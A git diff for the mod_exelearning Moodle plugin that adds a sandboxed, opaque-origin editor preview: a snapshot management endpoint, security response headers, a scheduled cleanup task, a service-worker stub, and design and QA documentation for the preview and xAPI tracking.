+     * them). The caller (exelearning_pluginfile) is just a header-emitting loop, since the
+     * package always renders opaque. Keeping the decision and the values here makes them
+     * unit-testable (the pluginfile callback that emits them exits via send_stored_file
+     * and cannot be unit-tested directly).
+     *
+     * @param string $filename The served file name (only *.html(?) get CSP/Permissions-Policy).
+     * @param string $wwwroot This Moodle site's $CFG->wwwroot (origin is derived from it).
+     * @return array Map of header name => value (empty when no headers apply).
+     */
+    public static function content_headers(string $filename, string $wwwroot): array {
+        // Apply to every served package file (the token rides in the URL for all of them).
+        $headers = [
+            'Referrer-Policy' => 'no-referrer',
+            'X-Content-Type-Options' => 'nosniff',
+        ];
+        // CSP + Permissions-Policy are document-level and only meaningful on an HTML page.
+        if (preg_match('~\.html?$~i', $filename)) {
+            $siteorigin = preg_replace('~^(https?://[^/]+).*~i', '$1', $wwwroot);
+            $headers['Permissions-Policy'] = self::permissions_policy();
+            $headers['Content-Security-Policy'] = self::content_security_policy($siteorigin);
+        }
+        return $headers;
+    }
+}
diff --git a/classes/task/preview_session_cleanup.php b/classes/task/preview_session_cleanup.php
new file mode 100644
index 0000000..0e562e8
--- /dev/null
+++ b/classes/task/preview_session_cleanup.php
@@ -0,0 +1,51 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+namespace mod_exelearning\task;
+
+use mod_exelearning\local\preview\snapshot_store;
+
+/**
+ * Scheduled task: reap idle-expired editor preview snapshots.
+ *
+ * The snapshot store keeps ephemeral, file-backed trees under the Moodle temp
+ * directory. They are also swept opportunistically on every replace, but a
+ * snapshot that is created and then never touched again is only reclaimed here.
+ *
+ * @package    mod_exelearning
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ */
+class preview_session_cleanup extends \core\task\scheduled_task {
+    /**
+     * The human-readable task name shown in the scheduled tasks admin report.
+     *
+     * @return string
+     */
+    public function get_name(): string {
+        return get_string('previewsessioncleanup', 'mod_exelearning');
+    }
+
+    /**
+     * Sweep every idle-expired preview session.
+     */
+    public function execute(): void {
+        $swept = snapshot_store::sweep_expired();
+        if ($swept > 0) {
+            mtrace('mod_exelearning: swept ' . $swept . ' expired preview session(s).');
+        }
+    }
+}
diff --git a/db/tasks.php b/db/tasks.php
new file mode 100644
index 0000000..5f7d428
--- /dev/null
+++ b/db/tasks.php
@@ -0,0 +1,37 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+/**
+ * mod_exelearning scheduled task definitions.
+ *
+ * @package    mod_exelearning
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ */
+
+defined('MOODLE_INTERNAL') || die();
+
+$tasks = [
+    [
+        'classname' => 'mod_exelearning\task\preview_session_cleanup',
+        'blocking' => 0,
+        'minute' => '*/15',
+        'hour' => '*',
+        'day' => '*',
+        'month' => '*',
+        'dayofweek' => '*',
+    ],
+];
diff --git a/docs/preview-serving-contract.md b/docs/preview-serving-contract.md
new file mode 100644
index 0000000..37c51c5
--- /dev/null
+++ b/docs/preview-serving-contract.md
@@ -0,0 +1,147 @@
+# Opaque editor preview — Moodle adapter
+
+The embedded editor renders its preview **filtered** by default: sanitised, with
+no author JavaScript running. When the author opts in to running their own code,
+the editor needs somewhere to put the real project bytes that is **not** the
+Moodle page — a browser-enforced **opaque origin** the content cannot reach out
+of.
+
+This plugin is that somewhere. The editor POSTs the whole project as one ZIP and
+gets back an unguessable capability id; the plugin serves that tree from an
+authless URL under a sandbox CSP. There is no `srcdoc` or Service-Worker fallback
+in the embed: when this route is unavailable the editor **fails closed** with a
+clear error rather than silently downgrading the isolation boundary.
+
+## The two endpoints
+
+| | Request | Result |
+|---|---|---|
+| Management | `POST editor/preview_session.php?cmid&sesskey` | multipart `snapshot=<zip>`, optional `previewId` → `{previewId}` |
+| Management | `DELETE editor/preview_session.php?cmid&sesskey&previewId` | drops the snapshot |
+| Serving | `GET preview.php/{previewId}/{path}` | the snapshot, authless |
+
+Management is gated by `require_login` + `require_sesskey` +
+`moodle/course:manageactivities` on the activity context, and every snapshot is
+bound to both the authoring user and the `cmid`. Replacing a capability owned by
+someone else, or bound to another activity, is refused — the id alone is not
+enough to write.
+
+Serving deliberately has **no** authentication: `NO_MOODLE_COOKIES` is set, so an
+auth cookie cannot influence the response. The unguessable id plus the idle TTL
+is the whole credential. That is what makes the origin opaque — an iframe pointed
+at this URL carries no Moodle session, so author code inside it has nothing to
+steal.
+
+## Why one whole snapshot
+
+An earlier revision implemented a layered protocol (contract v2): immutable asset
+keys uploaded once, incremental document revisions, and a manifest of fixed
+installation resources resolved out of the editor distribution — all to avoid
+re-uploading unchanged bytes. The editor no longer speaks it, and the machinery
+cost far more than the bytes it saved. One ZIP per refresh replaced the store,
+the session value object and roughly 400 lines of protocol code.
+
+## Storage
+
+    $CFG->tempdir/mod_exelearning/preview-snapshots/{previewId}/
+      meta.json    ownerUserId, cmid
+      access       empty marker; its mtime is the idle-TTL clock
+      content/     the extracted snapshot
+
+Content sits in its own subdirectory so no author path can collide with the
+store's own files — there are no reserved names to police. A write is staged
+beside the live tree and swapped in, so a reader sees the previous snapshot or
+the new one, never a half-written one.
+
+## What an archive must survive before extraction
+
+`zip_inspector` vets every entry *before* a byte is written, because `extractTo()`
+is all or nothing and a limit noticed halfway would leave a partial tree:
+
+- entry count and total **declared uncompressed** size — a zip bomb inflates past
+  the second, not the first;
+- `serving::normalize_content_path()`, the same rule the serving side applies, so
+  an entry that could not be requested back can never be stored;
+- Unix symlinks, stored as a tiny entry whose contents are a path, which would
+  otherwise pass every size and name check;
+- an `index.html` must be present, or it is not a preview.
+
+Limits default to 1 GB / 10 000 entries and are configurable. A non-positive
+value falls back to the default: the guard cannot be switched off.
+
+## Required response headers (on every response, including 404s)
+
+```
+X-Content-Type-Options: nosniff
+Referrer-Policy: no-referrer
+Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()
+Access-Control-Allow-Origin: *          (authless + cookieless; NEVER with credentials)
+Content-Type: <the file's real MIME type>
+```
+
+`Cache-Control` is tiered: a scriptable document is `no-store` (it is rewritten on
+every refresh), everything else is `no-cache` with an `ETag` and Range support —
+which is what makes a video inside the snapshot seekable.
+
+On **every scriptable document type** — `text/html`, **`image/svg+xml`**,
+`application/xml`, `text/xml`, `application/xhtml+xml` — additionally emit the
+sandbox-first CSP **verbatim**:
+
+```
+Content-Security-Policy:
+  sandbox allow-scripts allow-popups allow-forms; default-src 'self';
+  script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';
+  img-src 'self' data: blob: https:; media-src 'self' data: blob: https:;
+  font-src 'self' data:; connect-src 'self';
+  frame-src 'self' https://www.youtube-nocookie.com https://player.vimeo.com;
+  child-src 'self' https://www.youtube-nocookie.com https://player.vimeo.com;
+  object-src 'none'; base-uri 'none'; form-action 'self'; frame-ancestors 'self';
+```
+
+Not just HTML: an author-supplied SVG runs its inline `<script>` when opened
+top-level, and `nosniff` does not help — SVG is already a scriptable type.
+
+`serving::csp_header()` emits this as a single line joined by `; ` with no
+trailing `;` — **byte-identical** to core `previewCspHeader()`
+(`serving_test::test_csp_header_is_byte_identical_to_core` is the drift check).
+
+> **The preview is always opaque.** The preview CSP hardcodes its sandbox tokens
+> and does **not** reuse `player_iframe::sandbox_tokens()`: that helper can add
+> `allow-same-origin` under the published-content dev-only legacy escape hatch,
+> which would defeat the preview boundary. The two policies are deliberately
+> independent.
+
+## Lifetime
+
+Snapshots expire after 30 idle minutes. Serving one pushes its clock back, so a
+preview in use never expires under the author.
+`\mod_exelearning\task\preview_session_cleanup` (registered in `db/tasks.php`,
+every 15 minutes) sweeps, and so does every replace — the store never depends on
+cron to bound its size.
+
+## Tests
+
+`snapshot_store_test.php` covers the store, the archive inspector and
+`serving::serve()`; `serving_test.php` covers the response primitives, including
+the CSP drift check against core.
+
+## Client wiring (editor bootstrap)
+
+`editor/index.php` injects a `previewSnapshot` block into
+`window.__EXE_EMBEDDING_CONFIG__`:
+
+```jsonc
+"previewSnapshot": {
+  "managementUrl":     ".../editor/preview_session.php?cmid=…&sesskey=…",
+  "servingBaseUrl":    ".../preview.php",
+  "deleteUrlTemplate": ".../editor/preview_session.php?cmid=…&sesskey=…&previewId={previewId}"
+}
+```
+
+The template is not optional: the editor's default delete target appends
+`/{previewId}` to `managementUrl`, and the URL constructor drops the query string
+when it does — taking `cmid` and `sesskey` with it.
+
+Under the php-wasm Playground the block is **omitted**. A service worker cannot
+back a genuinely opaque iframe, so a preview-capable editor fails closed there
+with a visible error rather than silently downgrading the isolation boundary.
diff --git a/docs/testing-http-preview-core-artifact.md b/docs/testing-http-preview-core-artifact.md
new file mode 100644
index 0000000..dde1610
--- /dev/null
+++ b/docs/testing-http-preview-core-artifact.md
@@ -0,0 +1,69 @@
+# Testing the HTTP preview with a core pull-request artifact
+
+The plugin serves the opaque preview, but only an editor build that speaks the snapshot contract will use it — an older one ignores the injected `previewSnapshot` block and stays on the filtered preview. Before merging or releasing an editor upgrade, test this branch against one reproducible static-editor artifact built from the target eXeLearning core commit.
+
+## Build the canonical editor artifact
+
+From the eXeLearning core checkout:
+
+```bash
+make bundle
+make build-static
+```
+
+The resulting static distribution must contain all of the following:
+
+```text
+public/app/workarea/interface/elements/preview/HttpPreviewProvider.js
+public/app/workarea/interface/elements/preview/StaticServiceWorkerPreviewProvider.js
+public/bundles/preview-fixed-resources.json
+```
+
+It must not contain `SrcdocPreviewProvider.js` or `srcdocInliner.js`.
+
+Archive the complete static distribution once and record its SHA-256. Every host integration test should consume the same archive rather than building a different editor copy.
+
+## Install it for a Moodle integration test
+
+Install the archive through the normal embedded-editor installer, or replace the development copy under `dist/static/`. Do not commit the generated distribution to this repository.
+
+Open an activity editor and verify the browser network sequence:
+
+1. `POST editor/preview_session.php?cmid=...&sesskey=...` returns protocol version 2.
+2. New project assets are uploaded once to `/{previewId}/assets`.
+3. Revision 1 is published to `/{previewId}/revisions`.
+4. The iframe loads `preview.php/{previewId}/index.html`.
+5. The iframe sandbox omits `allow-same-origin`.
+6. Scriptable responses include the sandbox CSP.
+7. Editing one page publishes only changed generated documents.
+8. An unchanged image or video is not uploaded again.
+9. Closing the editor or TTL cleanup removes the preview session.
+
+The test should also cover external media, page navigation, a large ranged asset, session expiry, and recreation after a serving `404`.
+
+## Playground policy
+
+A php-wasm Service Worker cannot back an opaque iframe. Moodle Playground therefore omits `previewSnapshot` and fails closed by default.
+
+A development blueprint may deliberately enable the same-origin compatibility transport only with both fields:
+
+```jsonc
+{
+  "previewTransport": "static-service-worker",
+  "allowUnsafeEmbeddedPreview": true
+}
+```
+
+`previewTransport` alone is rejected. This setting must never be exposed as a Moodle administration option or enabled in production. The core editor displays a visible warning because this mode is not a security sandbox.
+
+## Merge evidence
+
+Record in the PR:
+
+- the core commit SHA;
+- the static archive SHA-256;
+- Moodle, PHP and database versions;
+- the browser used;
+- the preview management and serving requests observed;
+- confirmation that the iframe is opaque;
+- confirmation that unchanged assets are not retransmitted.
diff --git a/docs/tracking-architecture.md b/docs/tracking-architecture.md
index 1f8f7b6..6640f8c 100644
--- a/docs/tracking-architecture.md
+++ b/docs/tracking-architecture.md
@@ -13,6 +13,14 @@
 > ingestor}`. The overall (`itemnumber=0`) is taken from the package statement and validated
 > server-side, because per-iDevice `answered` statements carry no weight.
 >
+> **Secure iframe (DEC-80-05):** in the default opaque-origin secure mode (DEC-80-01/DEC-80-02) the same
+> xAPI-primary path applies, but the trust gate changes. The emitter's `event.origin` is the opaque
+> string `"null"`, so `js/xapi_listener.js` trusts a statement by **window identity**
+> (`event.source === the package iframe's contentWindow`) instead of origin — exactly like the SCORM
+> bridge relay. The SCORM channel is kept inert by the **parent-side relay**
+> (`js/scorm_bridge_relay.js` `disableTracking`), not the baked-in shim, so it holds even for packages
+> extracted before the flag existed. Legacy (same-origin) mode keeps the `event.origin` check.
+>
 > **Kill switch:** the site-admin setting *Use xAPI grading when the package supports it*
 > (`exelearning/xapiprimaryenabled`, default on; helper `exelearning_xapi_primary_enabled()`) turns the
 > whole xAPI channel off without a code change — `view.php` then keeps the SCORM shim live and skips the
diff --git a/docs/xapi-integration-plan.md b/docs/xapi-integration-plan.md
index f35a8e0..846e7a5 100644
--- a/docs/xapi-integration-plan.md
+++ b/docs/xapi-integration-plan.md
@@ -76,11 +76,18 @@ Implemented as an **inline IIFE** (the `js/scorm_tracker.js` / DEC-74-01 pattern
 client JS is injected synchronously and needs no AMD build).
 
 - Listen to `window` `message` events; accept **only** `event.data.type === 'exe-xapi-statement'`.
-- **Validate `event.origin`** against the iframe `pluginfile.php`/wwwroot origin; drop `'*'` /
-  mismatched senders (defense in depth even though `config_injector` sets `parentOrigin` — RIE-013).
+- **Trust gate, mode-dependent (DEC-80-05).** *Legacy (same-origin):* validate `event.origin` against
+  the wwwroot origin; drop `'*'` / mismatched senders (RIE-013). *Secure (opaque-origin, the default —
+  DEC-80-01/DEC-80-02):* the emitter's `event.origin` is the string `"null"`, so trust by **window
+  identity** (`event.source === the package iframe's contentWindow`) instead — the same anchor the
+  SCORM bridge relay uses. `view.php` selects the mode via `iframeid` (secure) vs `allowedOrigin`
+  (legacy).
 - De-dup by `statement.id` within the page session.
 - Forward to `xapi_track.php` with `sesskey`, `cmid`, and the page-load `registration`.
 - Never read or expose PII in JS.
+- In **secure mode** the parallel SCORM bridge is kept **inert** (so the package is graded once) by the
+  parent-side relay (`js/scorm_bridge_relay.js` `disableTracking`), not the baked-in shim — robust even
+  for packages extracted before the flag existed (DEC-80-05).
 
 ## 4. Server endpoint (`xapi_track.php`) — *as shipped (DEC-85-01)*
 
diff --git a/docs/xapi-qa-checklist.md b/docs/xapi-qa-checklist.md
index 4c87f5f..ea0943e 100644
--- a/docs/xapi-qa-checklist.md
+++ b/docs/xapi-qa-checklist.md
@@ -1,4 +1,4 @@
-# xAPI ingestion — manual QA checklist (DEC-85-01)
+# xAPI ingestion — manual QA checklist (DEC-85-01, DEC-80-05)
 
 > Unit/integration tests (`tests/local/xapi/*`, `tests/js/xapi_listener.test.js`) cover the
 > validation, grading parity and the listener resend. This checklist is the **manual, real-package**
@@ -24,7 +24,9 @@
 - **Attempts** — `exelearning_attempt`: `itemnumber>0` = per-iDevice, `itemnumber=0` = overall.
 - **Audit** — `exelearning_tracking_events`: one row per `statement.id` with `verb` + `registration`.
 - **Channel check** — view source / Network: an XAPI package POSTs to **`xapi_track.php`** and the
-  SCORM shim is inert (no `track.php` POSTs); a LEGACY package POSTs to **`track.php`** only.
+  SCORM shim is inert (no `track.php` POSTs); a LEGACY package POSTs to **`track.php`** only. In
+  **secure** iframe mode (DEC-80-05) the package iframe is opaque and the SCORM **bridge relay**
+  suppresses the `track.php` POST, so an XAPI package still shows only `xapi_track.php`.
 
 ## Scenarios
 
@@ -41,12 +43,15 @@
 | 9 | **Kill switch off** | Uncheck *Use xAPI grading…*; reload an XAPI activity | The package now grades via **SCORM** (`track.php`), the xAPI listener is **not** injected, and a direct POST to `xapi_track.php` returns `{ok:true,disabled:true}` without grading. Re-check the box → back to xAPI. |
 | 10 | **Idempotency** | Re-deliver the same statement (e.g. duplicate `postMessage`, or replay the POST) | Exactly one audit row and one attempt row; the grade is not applied twice (`duplicate:true`). |
 | 11 | **Registration hardening** | Craft a direct `xapi_track.php` POST with an over-long / non-alphanumeric `context.registration` and no body registration | No 500: the token is sanitised + capped to 40 chars; the attempt/audit store the bounded value. |
-| 12 | **Origin rejection** | (If reproducible) deliver a statement from a mismatched/`'*'` origin | Dropped by the listener; never reaches `xapi_track.php`. |
+| 12 | **Origin / window-identity rejection** | Deliver a statement from a window that is not the package iframe — legacy: a mismatched/`'*'` origin; secure: a different `event.source` (e.g. another frame) | Dropped by the listener; never reaches `xapi_track.php`. |
+| 13 | **xAPI grading in secure iframe mode (DEC-80-05)** | *Site admin ▸ … ▸ eXeLearning ▸ iframe security mode* = **secure** (default). Run the XAPI package; a student grades an interaction | Grades land via `xapi_track.php` exactly like legacy; the SCORM **bridge relay** forwards no score (no `track.php` POST); per-iDevice/overall columns correct. The opaque iframe's `event.origin` is `"null"` yet statements are accepted (window identity = `event.source` is the package iframe). |
+| 14 | **Kill switch flipped during an open session (known limitation, DEC-80-05/DEC-85-01)** | Open an XAPI activity as a student; while it stays open, an admin **unchecks** *Use xAPI grading…*; the student answers **without reloading** | That already-open page grades **neither** channel until reloaded (SCORM suppressed client-side, xAPI ignored server-side); after a reload it grades via SCORM. Pre-existing since DEC-85-01 — the kill switch takes effect on the **next** page load, so flip it outside activity hours. |
 
 ## Sign-off
 
 - [ ] Scenarios 1–4 (core grading + the answered-only edge) pass.
 - [ ] Scenarios 5–9 (resilience, attempts, preview, grading off, kill switch) pass.
-- [ ] Scenarios 10–12 (idempotency, input hardening, origin) pass.
+- [ ] Scenarios 10–12 (idempotency, input hardening, origin/window-identity) pass.
+- [ ] Scenarios 13–14 (secure-mode xAPI grading; kill-switch-mid-session limitation understood) pass.
 - [ ] Gradebook totals and activity completion are correct for at least one PERITEM and one OVERALL run.
 - [ ] `exelearning_tracking_events` monitoring query returns 0 for a clean run (no orphaned `answered`).
diff --git a/editor/index.php b/editor/index.php
index 0296366..7e0b77a 100644
--- a/editor/index.php
+++ b/editor/index.php
@@ -145,7 +145,7 @@ function exelearning_editor_error_page(string $message): void {
 $wwwrootorigin = $parsedwwwroot['scheme'] . '://' . $parsedwwwroot['host']
     . (!empty($parsedwwwroot['port']) ? ':' . $parsedwwwroot['port'] : '');
 
-$embeddingconfig = json_encode([
+$embeddingconfigdata = [
     'basePath' => $editorbaseurl,
     'parentOrigin' => $wwwrootorigin,
     'trustedOrigins' => [$wwwrootorigin],
@@ -157,7 +157,34 @@ function exelearning_editor_error_page(string $message): void {
     ],
     'platform' => 'moodle',
     'pluginVersion' => get_config('mod_exelearning', 'version'),
-]);
+];
+
+// Opaque preview activation. The editor POSTs the whole project as one ZIP to
+// the authenticated management URL (sesskey + cmid in the query) and renders the
+// capability URL it gets back, served authless by preview.php under a sandbox CSP.
+//
+// Omitted under the php-wasm Playground: a service worker cannot serve a
+// genuinely opaque iframe, so the editor must FAIL CLOSED there (a clear preview
+// error) rather than silently downgrade the isolation boundary. Enabling preview
+// in the Playground is a blueprint-only, dev-only opt-in to previewTransport
+// 'static-service-worker' (which the core preview panel renders with a visible
+// warning) — never an admin setting.
+if (!(defined('MOODLE_PLAYGROUND') && MOODLE_PLAYGROUND)) {
+    $previewquery = ['cmid' => (string) $cm->id, 'sesskey' => sesskey()];
+    $embeddingconfigdata['previewSnapshot'] = [
+        'managementUrl' => (new moodle_url('/mod/exelearning/editor/preview_session.php', $previewquery))->out(false),
+        'servingBaseUrl' => (new moodle_url('/mod/exelearning/preview.php'))->out(false),
+        // The client's default delete target appends /{previewId} to managementUrl,
+        // and the URL constructor drops the query string when it does — taking cmid
+        // and sesskey with it. An explicit template keeps them.
+        'deleteUrlTemplate' => (new moodle_url(
+            '/mod/exelearning/editor/preview_session.php',
+            $previewquery + ['previewId' => '{previewId}']
+        ))->out(false),
+    ];
+}
+
+$embeddingconfig = json_encode($embeddingconfigdata);
 
 // Approved style registry consumed by the editor's themeRegistryOverride
 // hook (see exelearning/exelearning#1722). Filters built-ins, appends
@@ -222,12 +249,30 @@ enumerable: true,
     // the Yjs theme bind and leaves the editor unresponsive. WP and Omeka-S
     // ship the same workaround: swallow 404s on .css / idevices URLs and
     // return an empty stylesheet so the editor keeps booting.
-    // Disable any new service-worker registration (the static editor's
-    // preview-sw.js is served from the same static.php router; environments
-    // that proxy or cache that router — e.g. moodle-playground — return a
-    // 404 there and the registration error spams the console without
-    // blocking anything).
+    // Neutralize the static editor's preview-sw.js registration (its SW is
+    // served from the same static.php router; environments that proxy or cache
+    // that router — e.g. moodle-playground — 404 the SW script and the
+    // registration error spams the console). The stub MUST return a faithful
+    // ServiceWorkerRegistration shape, not a bare { scope: "" }: the editor's
+    // preview provider calls registration.addEventListener("updatefound", …) and
+    // reads installing/waiting/active, so a bare object throws "addEventListener
+    // is not a function" and aborts the preview/export iframe. A dummy with a
+    // non-empty scope, null workers (so the provider's activation wait resolves
+    // at once and it claims no clients) and no-op event/lifecycle methods lets
+    // the provider complete and fall back cleanly.
     (function() {
+        function fakeSwRegistration(options) {
+            return {
+                scope: (options && options.scope) || "/",
+                installing: null,
+                waiting: null,
+                active: null,
+                addEventListener: function() {},
+                removeEventListener: function() {},
+                update: function() { return Promise.resolve(); },
+                unregister: function() { return Promise.resolve(true); }
+            };
+        }
         if ("serviceWorker" in navigator) {
             try {
                 var registerOriginal = navigator.serviceWorker.register
@@ -235,11 +280,11 @@ enumerable: true,
                     : null;
                 navigator.serviceWorker.register = function(scriptURL, options) {
                     if (typeof scriptURL === "string" && scriptURL.indexOf("preview-sw.js") !== -1) {
-                        return Promise.resolve({ scope: "" });
+                        return Promise.resolve(fakeSwRegistration(options));
                     }
                     return registerOriginal
                         ? registerOriginal(scriptURL, options)
-                        : Promise.resolve({ scope: "" });
+                        : Promise.resolve(fakeSwRegistration(options));
                 };
             } catch (e) {
                 // Some embeds make navigator.serviceWorker non-writable; ignore.
diff --git a/editor/preview_session.php b/editor/preview_session.php
new file mode 100644
index 0000000..813d940
--- /dev/null
+++ b/editor/preview_session.php
@@ -0,0 +1,139 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+/**
+ * Authenticated, owner-scoped management API for the opaque editor preview.
+ *
+ * Gated by require_login + sesskey + capability on the activity's module context
+ * and scoped to the authoring $USER; `cmid` and `sesskey` are query parameters on
+ * every request. Two operations, because the editor sends the whole project each
+ * time rather than patching it:
+ *
+ *   POST   {script}   multipart: snapshot=<zip>, previewId? → {previewId}
+ *   DELETE {script}   ?previewId={id}
+ *
+ * This replaces the four-operation protocol v2 (create / assets / revisions /
+ * delete) that the current editor no longer speaks.
+ *
+ * The authless serving counterpart is preview.php.
+ *
+ * @package    mod_exelearning
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ */
+
+define('AJAX_SCRIPT', true);
+
+// @codingStandardsIgnoreLine — path is fixed relative to /mod/exelearning/editor/.
+require('../../../config.php');
+
+use mod_exelearning\local\preview\snapshot_store;
+
+$cmid = required_param('cmid', PARAM_INT);
+
+$cm = get_coursemodule_from_id('exelearning', $cmid, 0, false, MUST_EXIST);
+$course = $DB->get_record('course', ['id' => $cm->course], '*', MUST_EXIST);
+
+require_login($course, true, $cm);
+require_sesskey();
+$context = context_module::instance($cm->id);
+require_capability('moodle/course:manageactivities', $context);
+
+// Release the session lock early: serving GETs must not queue behind this write.
+\core\session\manager::write_close();
+
+header('Content-Type: application/json; charset=utf-8');
+
+/**
+ * Emit a management result ({status, body}) and stop.
+ *
+ * @param array $result Management result with 'status' and 'body' keys.
+ * @return never
+ */
+function exelearning_preview_emit(array $result): void {
+    http_response_code($result['status']);
+    echo json_encode($result['body']);
+    die;
+}
+
+/**
+ * Map a store error code onto an HTTP status. Shared by both verbs so owner
+ * scoping cannot answer differently depending on the method.
+ *
+ * @param string $error Error code from the snapshot store.
+ * @return int
+ */
+function exelearning_preview_status(string $error): int {
+    return [
+        'previewforbidden' => 403,
+        'missingpreview' => 404,
+        'previewtoolarge' => 413,
+        'previewtoomanyfiles' => 413,
+    ][$error] ?? 400;
+}
+
+$method = strtoupper($_SERVER['REQUEST_METHOD'] ?? 'GET');
+
+// DELETE carries previewId in the query, not as a path segment: the editor's
+// client builds this URL from a template and appending a segment to a URL that
+// already has a query string would drop cmid and sesskey.
+if ($method === 'DELETE') {
+    $previewid = required_param('previewId', PARAM_ALPHANUMEXT);
+    // Owner scoping comes from the same store verdict the publish path uses, so
+    // the two verbs cannot drift and both go through one status table.
+    $deleted = snapshot_store::delete_owned($previewid, (int) $USER->id, (int) $cm->id);
+    if ($deleted !== true) {
+        exelearning_preview_emit([
+            'status' => exelearning_preview_status($deleted),
+            'body' => ['success' => false, 'error' => $deleted],
+        ]);
+    }
+    exelearning_preview_emit(['status' => 200, 'body' => ['success' => true]]);
+}
+
+if ($method !== 'POST') {
+    exelearning_preview_emit(['status' => 405, 'body' => ['success' => false, 'error' => 'methodnotallowed']]);
+}
+
+// One whole-project ZIP per refresh: the editor replaces the snapshot instead of
+// patching it, so there is a single upload field and no revision to track.
+$upload = $_FILES['snapshot'] ?? null;
+if (
+    !is_array($upload) || (int) ($upload['error'] ?? UPLOAD_ERR_NO_FILE) !== UPLOAD_ERR_OK
+        || !is_uploaded_file($upload['tmp_name'] ?? '')
+) {
+    exelearning_preview_emit(['status' => 400, 'body' => ['success' => false, 'error' => 'missingsnapshot']]);
+}
+
+// Absent on the first refresh (mint a capability), present afterwards (replace
+// in place). snapshot_store refuses an id that is unknown or owned by someone
+// else, so this cannot be used to claim another author's capability.
+$previewid = optional_param('previewId', null, PARAM_ALPHANUMEXT);
+
+$result = snapshot_store::replace((int) $USER->id, (int) $cm->id, $upload['tmp_name'], $previewid);
+if (isset($result['error'])) {
+    exelearning_preview_emit([
+        'status' => exelearning_preview_status($result['error']),
+        'body' => ['success' => false, 'error' => $result['error']],
+    ]);
+}
+
+// No previewUrl: the client derives it from servingBaseUrl + /{previewId}/index.html,
+// which keeps one source of truth for how a capability URL is shaped.
+exelearning_preview_emit([
+    'status' => 200,
+    'body' => ['success' => true, 'previewId' => $result['previewid']],
+]);
diff --git a/js/exe_embed_relay.js b/js/exe_embed_relay.js
new file mode 100644
index 0000000..0d0b8b0
--- /dev/null
+++ b/js/exe_embed_relay.js
@@ -0,0 +1,669 @@
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+/**
+ * Parent-side external-embed relay for the secure (opaque-origin) package mode.
+ *
+ * Companion to js/exe_embed_shim.js (baked into the package, runs INSIDE the iframe).
+ * In secure mode the package is opaque, so cross-origin players (YouTube, Vimeo) and
+ * PDFs render blank. The shim replaces each candidate iframe with a placeholder and
+ * postMessages its geometry here; this relay (the trusted half) validates each URL and
+ * overlays the real player inline over the placeholder.
+ *
+ * Trust model (DEC-80-03): the promoted player is rendered cross-origin and SANDBOXED, so
+ * the same-origin policy isolates it from this LMS page (it cannot read the DOM, cookies,
+ * session or file token). Two modes:
+ *  - 'open' (default): promote any iframe whose src is https AND cross-origin to the LMS
+ *    (rejecting same-origin, sub/superdomains of the LMS, IP/loopback/local hosts and
+ *    userinfo). No host list. The host is irrelevant to escape; the residual is
+ *    phishing/tracking, bounded to the content's own box (the overlay is clamped).
+ *  - 'strict': only a maintained host allowlist with per-provider canonical-URL
+ *    reconstruction (the pre-DEC-80-03 behaviour), for high-security deployments.
+ * "Any https .pdf" is always allowed (same-origin only for this package's own files).
+ *
+ * Messages are authenticated by window identity (event.source === a known CONTENT
+ * iframe, never a promoted player); the opaque origin has no useful event.origin.
+ *
+ * Exposed two ways from a single body: window.exeEmbedRelay (browser bootstrap) and
+ * module.exports (Vitest). See research ADR DEC-80-03.
+ *
+ * MIRROR of the canonical eXeLearning embedder source in eXe core
+ * (public/app/common/exe_embed_bridge/exe_embed_relay.js). Keep in sync with core;
+ * changes flow from core outward. Verified by core scripts/check-embed-sync.mjs.
+ *
+ * Copyright (C) 2026 eXeLearning Team
+ *
+ * Dual-licensed so this ONE file can ship inside eXeLearning (AGPL-3.0-or-later)
+ * and inside the GPL-3.0-or-later host plugins (mod_exelearning) without either
+ * project relicensing it. GPLv3 s13 and AGPLv3 s13 already permit COMBINING the
+ * two, but combining never relicenses a file: only the copyright holder can offer
+ * it under both, which is what this grant does. Keep this notice in every mirror.
+ *
+ * SPDX-License-Identifier: AGPL-3.0-or-later OR GPL-3.0-or-later
+ */
+(function () {
+    'use strict';
+
+    /**
